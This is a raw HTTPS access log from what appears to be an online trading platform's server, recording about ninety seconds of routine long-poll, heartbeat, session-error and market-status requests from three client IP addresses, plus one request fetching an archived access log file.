[09/Jan/2026:10:49:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:49:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927258413 HTTP/1.1" -
[09/Jan/2026:10:49:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927261035 HTTP/1.1" -
[09/Jan/2026:10:49:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927275296 HTTP/1.1" -
[09/Jan/2026:10:49:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927263436 HTTP/1.1" -
[09/Jan/2026:10:49:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927266158 HTTP/1.1" -
[09/Jan/2026:10:49:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:49:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927280351 HTTP/1.1" -
[09/Jan/2026:10:49:56 +0800] 207.46.13.151 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250827 HTTP/1.1" 12107710
[09/Jan/2026:10:49:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927268503 HTTP/1.1" -
[09/Jan/2026:10:49:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927271296 HTTP/1.1" -
[09/Jan/2026:10:50:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927285427 HTTP/1.1" -
[09/Jan/2026:10:50:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927273526 HTTP/1.1" -
[09/Jan/2026:10:50:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927276440 HTTP/1.1" -
[09/Jan/2026:10:50:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927290481 HTTP/1.1" -
[09/Jan/2026:10:50:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927278574 HTTP/1.1" -
[09/Jan/2026:10:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:50:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:50:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927281646 HTTP/1.1" -
[09/Jan/2026:10:50:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927295548 HTTP/1.1" -
[09/Jan/2026:10:50:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927283606 HTTP/1.1" -
[09/Jan/2026:10:50:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927286689 HTTP/1.1" -
[09/Jan/2026:10:50:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927300569 HTTP/1.1" -
[09/Jan/2026:10:50:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:50:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927288658 HTTP/1.1" -
[09/Jan/2026:10:50:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927291933 HTTP/1.1" -
[09/Jan/2026:10:50:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927305628 HTTP/1.1" -
[09/Jan/2026:10:50:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927293691 HTTP/1.1" -
[09/Jan/2026:10:50:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927297083 HTTP/1.1" -
[09/Jan/2026:10:50:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:50:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927310694 HTTP/1.1" -
[09/Jan/2026:10:50:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927298741 HTTP/1.1" -
[09/Jan/2026:10:50:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927302216 HTTP/1.1" -
[09/Jan/2026:10:50:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927315716 HTTP/1.1" -
[09/Jan/2026:10:50:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927303760 HTTP/1.1" -
[09/Jan/2026:10:50:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927307351 HTTP/1.1" -
[09/Jan/2026:10:50:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927320776 HTTP/1.1" -
[09/Jan/2026:10:50:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927308780 HTTP/1.1" -
[09/Jan/2026:10:50:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:50:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:50:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:50:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:50:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927312490 HTTP/1.1" -
[09/Jan/2026:10:50:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927325851 HTTP/1.1" -
[09/Jan/2026:10:50:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927313827 HTTP/1.1" -
[09/Jan/2026:10:50:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927317566 HTTP/1.1" -
[09/Jan/2026:10:50:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927330871 HTTP/1.1" -
[09/Jan/2026:10:50:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:50:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927318869 HTTP/1.1" -
[09/Jan/2026:10:50:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927322709 HTTP/1.1" -
[09/Jan/2026:10:50:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927335937 HTTP/1.1" -
[09/Jan/2026:10:50:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927323888 HTTP/1.1" -
[09/Jan/2026:10:50:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:50:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:50:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927327842 HTTP/1.1" -
[09/Jan/2026:10:50:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927341003 HTTP/1.1" -
[09/Jan/2026:10:50:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927328934 HTTP/1.1" -
[09/Jan/2026:10:51:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927332998 HTTP/1.1" -
[09/Jan/2026:10:51:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927346314 HTTP/1.1" -
[09/Jan/2026:10:51:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927333963 HTTP/1.1" -
[09/Jan/2026:10:51:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927338135 HTTP/1.1" -
[09/Jan/2026:10:51:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927351341 HTTP/1.1" -
[09/Jan/2026:10:51:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:51:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:51:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927339020 HTTP/1.1" -
[09/Jan/2026:10:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:51:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927343246 HTTP/1.1" -
[09/Jan/2026:10:51:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927356408 HTTP/1.1" -
[09/Jan/2026:10:51:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927344062 HTTP/1.1" -
[09/Jan/2026:10:51:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927348305 HTTP/1.1" -
[09/Jan/2026:10:51:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927361431 HTTP/1.1" -
[09/Jan/2026:10:51:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:51:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927349097 HTTP/1.1" -
